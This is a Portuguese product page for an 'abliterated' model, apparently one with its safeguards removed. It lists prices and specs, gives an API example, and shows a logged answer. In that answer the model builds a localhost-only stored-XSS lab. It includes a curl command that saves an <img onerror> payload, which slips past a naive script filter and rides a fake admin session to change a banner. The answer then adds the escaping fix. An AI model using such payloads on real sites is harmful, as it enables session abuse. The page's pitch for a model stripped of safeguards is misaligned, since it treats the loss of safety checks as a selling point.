DeepSeek V4.1 Flash Abliterated Fast

deepseek-v4.1-flash-abliterated-fast

Disponível no chat do navegador e pela API compatível com OpenAI.

Abrir chat Exemplo de API

Preços dos tokens

Preços em USD por 1 milhão de tokens

Entrada / 1M: 1,400 US$
Em cache / 1M: 0,320 US$
Saída / 1M: 1,400 US$

Especificações do modelo

DeepSeek · abliterado

Janela de contexto: 1 000 000 tokens
Saída máxima: 65 536 tokens
Capacidades: Texto · Streaming · Chamadas de ferramentas

Desempenho medido

Tokens/s médios: ≈ 218,4
TTFT estimado: 1,6 s
Indicador de disponibilidade: 100%

Atualizado 01/11/26, 20:37:37 UTC · Sucesso do fornecedor em 24 h · Um traço indica que não há medições atuais suficientes.

Vê a resposta do modelo

Resposta real a uma pergunta sobre XSS armazenado num laboratório local. A pergunta e a resposta estão em inglês. A saída é texto; nenhum código de exemplo é executado aqui.

DeepSeek V4.1 Flash Abliterated Fast

Resposta registada · 28/10/2026, 19:02 UTC

Você

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash Abliterated Fast

Excerto selecionado da resposta registada. Algumas partes foram omitidas.

Reproduce:

node server.js
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode "comment=<img src=x onerror=\"fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED%20IN%20THE%20LAB'})\">"
xdg-open 'http://localhost:3000/admin/view?admin=1'   # macOS: open ...
sleep 1
curl -s http://localhost:3000/banner

Expected: OWNED IN THE LAB. The stored <img onerror=...> survives the naive <script> filter. /admin/view?admin=1 sets the fake admin=1 cookie, renders the comment, and the same-origin fetch POSTs to /admin/banner with that cookie. Safe fix: always render comments with esc(c); e.g. visit /admin/view?admin=1&safe=1, and the payload appears as text.

Exemplo registado, não é um chat em direto.Abrir chat

Usa este modelo pela API

Cria uma chave API e adiciona créditos. Define UNCENSOREDLABS_API_KEY no ambiente. Instala o pacote openai para JavaScript ou Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-abliterated-fast",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Compatível com OpenAI. Altere a sua URL base.Ler o início rápido

Limitações e faturação

Sem filtros não garante uma resposta a todas as perguntas. As respostas podem estar erradas, incompletas ou ser recusadas.
A saída máxima é o limite do serviço UncensoredLabs. Gerações longas e tarefas com contexto completo não foram avaliadas em benchmarks.
Créditos são reservados para a saída solicitada e um limite conservador de entrada; modelos sem contagem verificada por tamanho da solicitação usam o contexto completo. A cobrança final usa consumo verificado; solicitações incertas podem manter a reserva.
O prazo é de dez minutos. Aplicam-se limites de frequência, simultaneidade e disponibilidade do fornecedor; os erros incluem 429 com Retry-After.
A UncensoredLabs não guarda perguntas nem respostas nos seus servidores. Aplica-se a política de retenção do fornecedor de inferência.

Erros e limites de frequência Como funciona a cobrança Privacidade